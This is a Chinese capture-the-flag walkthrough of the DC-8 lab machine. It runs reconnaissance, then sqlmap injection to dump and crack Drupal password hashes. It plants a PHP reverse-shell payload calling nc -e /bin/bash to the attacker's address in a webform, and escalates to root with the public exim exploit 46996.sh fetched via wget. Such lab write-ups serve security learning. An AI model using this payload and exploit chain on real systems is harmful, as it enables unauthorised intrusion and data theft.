DC8靶机渗透
期末倒计时一周,发完这篇就要好好复习期末了,【许愿】
1.信息查询
1.1.Ip
arp-scan -l
192.168.220.138
1.2.扫描端口
nmap -T4 -A -p- 192.168.220.138
接下来直接访问当前的主机,发现地址栏中的 nid 会发生变化,猜测可能会存在 sql 注入漏洞
验证一下 sql 注入是否真的存在,随机给一个不存在的值 x,观察是否会报 sql 的错误信息,如果报了,说明存在 sql 注入
接下来就可以直接使用 sqlmap 进行攻击
sqlmap -u "http://192.168.220.138/?nid=1" --current-db
sqlmap -u "http://192.168.220.138/?nid=1" -D 'd7db' --tables
获取当前数据库中的所有表,我们想要查看用户的信息可以进行登录,需要使用 users 表
sqlmap -u "http://192.168.220.138/?nid=1" -D 'd7db' -T 'users' --columns
获取出当前 users 表的字段,接下来获取值
sqlmap -u "http://192.168.220.138/?nid=1" -D 'd7db' -T 'users' -C 'name,pass' --dump
获取当前的密码,但是密码加密了,接下来需使用 john --show 查看解密
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
vim dc8.txt
将
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
写进去然后保存
爆破密码
john dc8.txt
爆破出来的密码: turtle
可以尝试远程连接,但是不好使
1.3.扫描目录
dirsearch -u 192.168.220.138 -e* -i 200
发现了有/user/login 这个页面,接下来就直接访问,使用上面账号进行登录,发现只有 john 能登录成功
接下来需要找突破口,在 webform 中有新的发现
2. shell 反弹
选择 form setting,然后写入 shell 反弹脚本
<h1>xxxx</h1><?phpsystem("nc -e /bin/bash 192.168.126.138 7777");?>
注意选php
点击保存
然后需要写一些信息来进行提交
反弹成功,并设置python交互
使用 python 命令行脚本
python -c 'import pty;pty.spawn("/bin/bash")'
3.提权
然后接下来要做两件事情
- 进入到 home 目录,发现无任何价值信息
2.sudo -l进行提权,发现不好使,接下来使用 suid 方式进行提权
find / -user root -perm -u=s 2>/dev/null
发现 exim4 在使用时具有 root 权限
exim 是一个邮件传输的代理,用于在电子邮件服务器之间进行邮件交换和路由。
4.发现exim的提权方式
查看 exim4 的版本
exim4 --version
可以搜索这个版本的漏洞
searchsploit exim
搜索 46996 这个文件
searchsploit -p linux/local/46996.sh
接下来复制一份到本地,然后传递到靶机上
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
搭建 python 的服务器,用户传递数据
python3 -m http.server 8888
搭建 python 的服务器,用户传递数据
python3 -m http.server 8888
在靶机中先切换到/tmp.然后在进行 sh 文件的下载
查看一下自己虚拟机的ip
192.168.220.146
cd /tmpwget http://192.168.220.146:8888/46996.sh
给当前脚本一个执行权限
chmod 777 46996.sh
查看这个脚本内容,发现有两种提权方式
./46996.sh -m netcat
最后
cd /rootlscat flag.txt